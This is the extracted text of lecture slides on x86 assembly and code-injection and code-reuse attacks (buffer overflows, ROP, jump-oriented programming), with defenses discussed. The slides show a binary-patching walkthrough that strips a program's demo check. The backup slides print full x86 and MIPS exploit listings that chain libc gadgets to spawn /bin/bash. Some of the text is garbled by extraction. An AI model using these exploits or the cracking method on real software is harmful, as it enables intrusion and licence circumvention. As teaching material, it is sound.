</tbody>
</table>
Registers:
- General: rax rbx rcx rdx rdi rsi r8 r9 .. r15
- Stack: rsp rbp
- Instruction pointer: rip

Complex instruction set
- Instructions are variable-sized & unaligned

Hardware-supported call stack
- call / ret
- Parameters in registers \{rdi, rsi, rdx, rcx, r8, r9\}, return value in rax

Little-endian

These slides use Intel-style assembly language (destination first)
- GNU tools like gcc and objdump use AT&T syntax (destination last)
Intel x86 instruction format

(a) Optional instruction prefixes

(b) General instruction format

From Igor Kholodov's CIS-77 course materials,

</table>

They didn’t bother giving dumb names when they added more registers during the move to 64-bit.
• Includes general purpose registers, plus a bunch of special purpose ones (floating point, MMX, etc.)
Memory accesses

• Can be *anywhere*
  • No separate “load word” instruction – almost any op can load/store!

• Location can be various *expressions* (not just “0($1)”):
  • \([ \text{disp} + <\text{REG}>*n ]\]
  • \([ <\text{REG}> + <\text{REG}>*n ]\]
  • \([ \text{disp} + <\text{REG}> + <\text{REG}>*n ]\]

  ex: \([ 0x123 + 2*rax ]\)
  ex: \([ \text{rbx} + 4*rax ]\)
  ex: \([ 0x123 + \text{rbx} + 8*rax ]\)

  • You get “0($1)” by doing \([0 + \text{rax}*1]\), which you can write as \([\text{rax}]\)

• All this handled in the MOD-R/M and SIB fields of instruction

• Imagine making the control unit for these instructions 🦖

Exploring a compiled x86 program

- Introducing hello.c
  - cat hello.c

- Compile to assembly language (and down to executable)
  - make
    - gcc -g -S -o hello.s hello.c
    - gcc -g -o hello hello.c

- View assembly language output
  - cat hello.s

- Disassemble binary to see compiled instructions
  - objdump -d hello

- Analyze hello using IDA Freeware

They’re gonna try to sell you the paid version of IDA Pro, but the older free version available here works just fine.
CAN WE USE THIS TO CRACK COMPILED SOFTWARE???
DRAMATIC PAUSE

Please fill out the course survey

https://duke.evaluationkit.com/
Binary modification

- Introducing supercalc
  - ./supercalc
  - ./supercalc 2 3
  - ./supercalc 2 10
- Disassemble binary
  - objdump -d supercalc
- Analyze supercalc using IDA Pro
- Find the demo check code in IDA
- Identify **sections** of executable
  - ./objdump -h supercalc
- Find the code we care about in the binary file via hex editor
- Flatten all the check code into NOPs
- Disassemble, analyze, and test hacked binary
Diving into code injection and reuse attacks
(not on exam)

Some slides originally by Anthony Wood, University of Virginia, for CS 851/551
(http://www.cs.virginia.edu/crab/injection.ppt)

Adapted by Tyler Bletsch, Duke University
What is a Buffer Overflow?

• Intent
  • Arbitrary code execution
    • Spawn a remote shell or infect with worm/virus
  • Denial of service

• Steps
  • Inject attack code into buffer
  • Redirect control flow to attack code
  • Execute attack code
Attack Possibilities

• Targets
  • Stack, heap, static area
  • Parameter modification (non-pointer data)
    • E.g., change parameters for existing call to `exec()`

• Injected code vs. existing code

• Absolute vs. relative address dependencies

• Related Attacks
  • Integer overflows, double-frees
  • Format-string attacks
Typical Address Space

From Dawn Song's RISE: http://research.microsoft.com/projects/SWSecInstitute/slides/Song.ppt
Examples

• (In)famous: Morris worm (1988)
  • gets() in fingerd

• Code Red (2001)
  • MS IIS .ida vulnerability

• Blaster (2003)
  • MS DCOM RPC vulnerability

• Mplayer URL heap allocation (2004)
  % mplayer http://`perl -e 'print "\""x1024;\""'`
#include <stdlib.h>
#include <stdio.h>

int main() {
    char name[1024];
    printf("What is your name? ");
    scanf("%s", name);
    printf("%s is cool.\n", name);

    return 0;
}
Demo – normal execution

```
tkbletsc@davros:~/jop/examples/code-injection $ ./cool
What is your name? Tyler
Tyler is cool.
tkbletsc@davros:~/jop/examples/code-injection $ 
```
Demo – exploit

You clearly aren't cut out for C. How about I start you off on something more your speed...

```

# How to write attacks

- Use NASM, an assembler:
  - Great for machine code and specifying data fields

```assembly
attack.asm

%define buffer_size 1024
%define buffer_ptr 0xbfffe2e4
%define extra 20

<<< MACHINE CODE GOES HERE >>>

; Pad out to rest of buffer size
times buffer_size-($-$$) db 'x'

; Overwrite frame pointer (multiple times to be safe)
times extra/4   dd buffer_ptr + buffer_size + extra + 4

; Overwrite return address of main function!
dd buffer_location
```

---

<table>

<th>4</th>
</tr>
</thead>
<tbody>
<tr>
<td>4</td>
<td></td>
</tr>
</tbody>
</table>
Attack code trickery

• Where to put strings?  No data area!
• You often can't use certain bytes
  • Overflowing a string copy?  No nulls!
  • Overflowing a scanf %s?  No whitespace!
• Answer: use code!
• Example: make "ebx" point to string "hi folks":

```
push    "olks" ; 0x736b6c6f="olks"
mov     ebx, -"hi f" ; 0x99df9698
neg     ebx ; 0x66206968="hi f"
push ebx
mov     ebx, esp
```

Note: this example was made on x86 32-bit, hence the 32-bit registers and constants.
Preventing Buffer Overflows

• Strategies
  • Detect and remove vulnerabilities (best)
  • Prevent code injection
  • Detect code injection
  • Prevent code execution

• Stages of intervention
  • Analyzing and compiling code
  • Linking objects into executable
  • Loading executable into memory
  • Running executable
Preventing Buffer Overflows

- Research projects
  - Splint - Check array bounds and pointers
  - RAD – check RA against copy
  - PointGuard – encrypt pointers
  - Liang et al. – Randomize system call numbers
  - RISE – Randomize instruction set

- Generally available techniques
  - Stackguard – put canary before RA
  - Libsafe – replace vulnerable library functions
  - Binary diversity – change code to slow worm propagation

- Generally deployed techniques
  - NX bit & W^X protection
  - Address Space Layout Randomization (ASLR)
W^X and ASLR

- **W^X**
  - Make code read-only and executable
  - Make data read-write and non-executable

- **ASLR:** Randomize memory region locations
  - Stack: subtract large value
  - Heap: allocate large block
  - DLLs: link with dummy lib
  - Code/static data: convert to shared lib, or re-link at different address
  - Makes absolute address-dependent attacks harder
Doesn't that solve everything?

- PaX: Linux implementation of ASLR & W^X
- Actual title slide from a PaX talk in 2003:

PaX
(http://pageexec.virtualave.net)

The Guaranteed End of Arbitrary Code Execution
Negating ASLR

- ASLR is a probabilistic approach, merely increases attacker’s expected work
  - Each failed attempt results in crash; at restart, randomization is different
- Counters:
  - Information leakage
    - Program reveals a pointer? Game over.
  - Derandomization attack [1]
    - Just keep trying!
    - 32-bit ASLR defeated in 216 seconds

Question: do we need malicious **code** to have malicious **behavior**?

No.

<table>
<thead>
<tr>

Code injection

Code reuse (!)

"Return-into-libc" attack
Return-into-libc

• Return-into-libc attack
  • Execute entire libc functions
  • Can chain using “esp lifters”
  • Attacker may:
    • Use system/exec to run a shell
    • Use mprotect/mmap to disable W^X
    • Anything else you can do with libc
  • Straight-line code only?
    • Shown to be false by us, but that's another talk...
Arbitrary behavior with W^X?

• Question: do we need malicious code to have arbitrary malicious behavior? No.

• *Return-oriented programming (ROP)*

• Chain together gadgets: tiny snippets of code ending in ret

• Achieves Turing completeness

• Demonstrated on x86, SPARC, ARM, z80, ...
  • Including on a deployed voting machine, which has a non-modifiable ROM
Return-oriented programming (ROP)

- Normal software:

- Return-oriented program:

Figures taken from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Some common ROP operations

- **Loading constants**
  - pop rax; ret
  - 0x55555555

- **Arithmetic**
  - add rax, rbx; ret

- **Control flow**
  - pop rsp; ret

- **Memory**
  - mov rbx, [rax]; ret
  - 0x8070abcd (address)

Figures adapted from "Return-oriented Programming: Exploitation without Code Injection" by Buchanan et al.
Bringing it all together

- Shellcode
  - zeroes part of memory
  - sets registers
  - does execve syscall

Figure taken from "The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)" by Shacham
Defenses against ROP

- ROP attacks rely on the stack in a unique way
- Researchers built defenses based on this:
  - ROPdefender[^1] and others: maintain a shadow stack
  - DROP[^2] and DynIMA[^3]: detect high frequency `rets`
  - Returnless[^4]: Systematically eliminate all `rets`

- So now we're totally safe forever, right?
- **No**: code-reuse attacks need not be limited to the stack and `ret`!
- See “Jump-oriented programming: a new class of code-reuse attack” by Bletsch et al.
  (covered in this deck if you’re curious)
BACKUP SLIDES (not on exam)
Jump-oriented Programming
Defenses against ROP

• ROP attacks rely on the stack in a unique way
• Researchers built defenses based on this:
  • ROPdefender\textsuperscript{[1]} and others: maintain a shadow stack
  • DROP\textsuperscript{[2]} and DynIMA\textsuperscript{[3]}: detect high frequency \texttt{rets}
  • Returnless\textsuperscript{[4]}: Systematically eliminate all \texttt{rets}

• So now we're totally safe forever, right?
• \textbf{No}: code-reuse attacks need not be limited to the stack and \texttt{ret}!
  • My research follows...
Jump-oriented programming (JOP)

- Instead of `ret`, use indirect jumps, e.g., `jmp eax`

- How to maintain control flow?
The dispatcher in depth

• Dispatcher gadget implements:
  \[ pc = f(pc) \]
  \[ \text{goto } *pc \]

• \( f \) can be anything that evolves \( pc \) predictably
  • Arithmetic: \( f(pc) = pc+4 \)
  • Memory based: \( f(pc) = *(pc+4) \)
Availability of indirect jumps (1)

- Can use `jmp` or `call` (don't care about the stack)
- When would we expect to see indirect jumps?
  - Function pointers, some switch/case blocks, ...?
- That's not many...

![Graph showing frequency of control flow transfers in glibc](chart.png)
Availability of indirect jumps (2)

- However: x86 instructions are *unaligned*
- We can find *unintended* code by jumping into the middle of a regular instruction!

```
add ebx, 0x10ff2a
```

- Very common, since they start with 0xFF, e.g.
  -1 = 0xFFFFFFFF
  -1000000 = 0xFFF0BDC0
Finding gadgets

• Cannot use traditional disassembly,
  • Instead, as in ROP, scan & walk backwards
  • We find 31,136 potential gadgets in libc!

• Apply heuristics to find certain kinds of gadget

• Pick one that meets these requirements:
  • **Internal integrity:**
    • Gadget must not destroy its own jump target.
  • **Composability:**
    • Gadgets must not destroy subsequent gadgets' jump targets.
Finding dispatcher gadgets

• Dispatcher heuristic:
  • The gadget must act upon its own jump target register
  • Opcode can't be useless, e.g.: inc, xchg, xor, etc.
  • Opcodes that overwrite the register (e.g. mov) instead of modifying it (e.g. add) must be self-referential
    • lea edx, [eax+ebx] isn't going to advance anything
    • lea edx, [edx+esi] could work

• Find a dispatcher that uses uncommon registers
  add ebp, edi
  jmp [ebp-0x39]

• Functional gadgets found with similar heuristics
Developing a practical attack

- Built on Debian Linux 5.0.4 32-bit x86
  - Relies solely on the included libc
- Availability of gadgets (31,136 total): **PLENTY**
  - Dispatcher: 35 candidates
  - Load constant: 60 `pop` gadgets
  - Math/logic: 221 `add`, 129 `sub`, 112 `or`, 1191 `xor`, etc.
  - Memory: 150 `mov` loaders, 33 `mov` storers (and more)
  - Conditional branch: 333 short `adc/sbb` gadgets
  - Syscall: multiple gadget sequences
The vulnerable program

• Vulnerabilities
  • String overflow
  • Other buffer overflow
  • String format bug

• Targets
  – Return address
  – Function pointer
  – C++ Vtable
  – Setjmp buffer
    • Used for non-local gotos
    • Sets several registers, including esp and eip
The exploit code (high level)

- **Shellcode**: launches `/bin/bash`
- Constructed in NASM (data declarations only)
- 10 gadgets which will:
  - Write null bytes into the attack buffer where needed
  - Prepare and execute an *execve* syscall
- Get a shell without exploiting a single *ret*:
The full exploit (1)

```assembly
1: start:
2: ; Constants:
3: libc: equ 0xb7e7f000 ; Base address of libc in memory
4: base: equ 0x804a008 ; Address where this buffer is loaded
5: base_mangled: equ 0x1d4011ee ; 0x804a008 = mangled address of this buffer
6: initializer_mangled: equ 0x43ef491 ; 0xb7e817fa = mangled address of initializer gadget
7: dispatcher: equ 0xb7f4e9e ; Address of the dispatcher gadget
8: buffer_length: equ 0x100 ; Target program's buffer size before the jmpbuf.
9: shell: equ 0xbffff8eb ; Points to the string "/bin/bash" in the environment
10: to_null: equ libc+0x7 ; Points to a null dword (0x00000000)

11: ; Start of the stack. Data read by initializer gadget "popa":
12: popa0,edi: dd -4 ; Delta for dispatcher; negative to avoid NULLs
13: popa0,esi: dd 0xaaaaaaaa
14: popa0,ebp: dd base+g_start+0x39 ; Starting jump target for dispatcher (plus 0x39)
15: popa0,esp: dd 0xaaaaaaaa
16: popa0,ebx: dd base+todispatcher+0x3e; Jumpback for initializer (plus 0x3e)
17: popa0,edx: dd 0xaaaaaaaa
18: popa0,ecx: dd 0xaaaaaaaa
19: popa0,eax: dd 0xaaaaaaaa

20: ; Data read by "popa" for the null-writer gadgets:
21: popal,edi: dd -4 ; Delta for dispatcher
22: popal,esi: dd base+to_dispatcher ; Jumpback for gadgets ending in "jmp [esi]"
23: popal,ebp: dd base+g00+0x39 ; Maintain current dispatch table offset
24: popal,esp: dd 0xaaaaaaaa
25: popal,ebx: dd base+new_eax+0x17bc0000+1 ; Null-writer clears the 3 high bytes of future eax
26: popal,edx: dd base+todispatcher ; Jumpback for gadgets ending "jmp [edx]"
27: popal,ecx: dd 0xaaaaaaaa
28: popal,eax: dd -1 ; When we increment eax later, it becomes 0

29: ; Data read by "popa" to prepare for the system call:
30: popa2,edi: dd -4 ; Delta for dispatcher
31: popa2,esi: dd base+esi_addr ; Jumpback for "jmp [esi+K]" for a few values of K
32: popa2,ebp: dd base+g07+0x39 ; Maintain current dispatch table offset
33: popa2,esp: dd 0xaaaaaaaa
34: popa2,ebx: dd shell ; Syscall EBX = 1st execve arg (filename)
35: popa2,edx: dd to_null ; Syscall EDX = 3rd execve arg (envp)
36: popa2,ecx: dd base+to_dispatcher ; Jumpback for "jmp [ecx]"
37: popa2,eax: dd to_null ; Swapped into ECX for syscall. 2nd execve arg (argv)
```
The full exploit (2)

42 ; End of stack, start of a general data region used in manual addressing
43 dd dispatcher ; Jumpback for "jmp [esi-0xf]"
44 times 0xB db 'X' ; Filler
45 esi_addr: dd dispatcher ; Jumpback for "jmp [esi]"
46 dd dispatcher ; Jumpback for "jmp [esi+0x4]"
47 times 4 db 'Z' ; Filler
48 new_eax: dd 0xEEEEEE00b ; Sets syscall EAX via [esi+0xc]; EE bytes will be cleared
49
50 ; End of the data region, the dispatch table is below (in reverse order)
51 g0a: dd 0xb7f3e70d ; sysenter
52 g09: dd libc+ 0x1a30d ; mov eax, [esi+0xc] ; mov [esp], eax ; call [esi+0x4]
53 g08: dd libc+0x136460 ; xchg ecx, eax ; fdiv st, st(3) ; jmp [esi-0xf]
54 g07: dd libc+0x137375 ; popa ; cmc ; jmp far dword [ecx]
55 g06: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
56 g05: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
57 g04: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
58 g03: dd libc+0x14748d ; inc ebx ; fdivr st(1), st ; jmp [edx]
59 g02: dd libc+0x14e168 ; mov [ebx-0x17bc0000], ah ; stc ; jmp [edx]
60 g01: dd libc+0x14734d ; inc eax ; fdivr st(1), st ; jmp [edx]
61 g00: dd libc+0x1474ed ; popa ; fdivr st(1), st ; jmp [edx]
62
g_start: ; Start of the dispatch table, which is in reverse order.
63 times buffer_length - ($-start) db 'X' ; Pad to the end of the legal buffer
64
65 ; LEGAL BUFFER ENDS HERE. Now we overwrite the jmpbuf to take control
66 jmpbufxEBx: dd 0xaaaaaaaa
67 jmpbuf_ESI: dd 0xaaaaaaaa
68 jmpbuf_EDI: dd 0xaaaaaaaa
69 jmpbuf_EBP: dd 0xaaaaaaaa
70 jmpbuf_ESP: dd base_mangled ; Redirect esp to this buffer for initializer's "popa"
71 jmpbuf_EIP: dd initializer_mangled ; Initializer gadget: popa ; jmp [ebx-0x3e]
72
73 to_dispatcher: dd dispatcher ; Address of the dispatcher: add ebp,edi ; jmp [ebp-0x39]
74 dw 0x73 ; The standard code segment; allows far jumps; ends in NULL
Discussion

• Can we automate building of JOP attacks?
  • Must solve problem of complex interdependencies between gadget requirements

• Is this attack applicable to non-x86 platforms?
  A: Yes

• What defense measures can be developed which counter this attack?
The MIPS architecture

• MIPS: very different from x86
  • Fixed size, aligned instructions
    • No unintended code!
  • Position-independent code via indirect jumps
  • Delay slots
    • Instruction after a jump will always be executed

• **We can deploy JOP on MIPS!**
  • Use intended indirect jumps
    • Functionality bolstered by the effects of delay slots
  • Supports hypothesis that JOP is a *general* threat
MIPS exploit code (high level overview)

• Shellcode: launches `/bin/bash`
• Constructed in NASM (data declarations only)
• 6 gadgets which will:
  • Insert a null-containing value into the attack buffer
  • Prepare and execute an `execve` syscall
• Get a shell without exploiting a single `jr ra`:
MIPS full exploit code (1)

; ATTACK DATA

Data for the initializer gadget. We want 32(sp) to refer to the value below, but sp points 24 bytes before the start of this buffer, so we start with some padding.

\[
\text{times 32-24 db 'x'}
\]

dd dispatcher ; sp+32 Sets t9 - Dispatcher gadget address (see table above for machine code)

\[
\text{times 44-36 db 'x'}
\]

dd base + g_start ; sp+44 Sets v0 - offset

\[
\text{times 128-48 db 'x'}
\]

dd -4 ; sp+128 Sets a0 - delta

dd 0xaaaaaaaa ; sp+132 Sets a1

dd 0xaaaaaaaa ; sp+136 Sets a2

dd 0xaaaaaaaa ; sp+140 (padding, since we can only advance $sp by multiples of 8)
MIPS full exploit code (2)

38 ; Data for the pre-syscall gadget (same as the initializer gadget). By now, sp has
39 ; been advanced by 112 bytes, so it points 32 bytes before this point.
40 dd libc+0x26194 ; sp+32 Sets t9 - Syscall gadget address (see table above for machine code)
41 times 44-36 db 'x' ; sp+36 (padding)
42 dd 0xdeadede ; sp+44 Sets v0 (overwritten with the syscall number by gadgets g02-g04)
43 times 80-48 db 'x' ; sp+48 (padding)
44 dd -4011 ; sp+80 The syscall number for "execve", negated.
45 times 128-84 db 'x' ; sp+84 (padding)
46 dd base+shell_path ; sp+128 Sets a0
47 dd to_null ; sp+132 Sets a1
48 dd to_null ; sp+136 Sets a2
49
50 ; ===== DISPATCH TABLE =====
51 ; The dispatch table is in reverse order
52 g05: dd libc-gp+0x103d0c ; Pre-syscall gadget (same as initializer, see table for machine code)
53 g04: dd libc-gp+0x34b8c ; Gadget "g04" (see table above for machine code)
54 g03: dd libc-gp+0x7deb0 ; Gadget: jalr t9 ; negu a1,s2
55 g02: dd libc-gp+0x6636c ; Gadget: lw s2,80(sp) ; jalr t9 ; move s6,a3
56 g01: dd libc-gp+0x13d394 ; Gadget: jr t9 ; addiu sp,sp,16
57 g00: dd libc-gp+0xcblac ; Gadget: jr t9 ; addiu sp,sp,96
58 g_start: ; Start of the dispatch table, which is in reverse order.
59
60 ; ===== OVERFLOW PADDING =====
61 times buffer_length - ($-$$) db 'x' ; Pad to the end of the legal buffer
62
63 ; ===== FUNCTION POINTER OVERFLOW =====
64 dd initializer
65
66 ; ===== SHELL STRING =====
67 shell_path: db "/bin/bash"
68 db 0 ; End in NULL to finish the string overflow
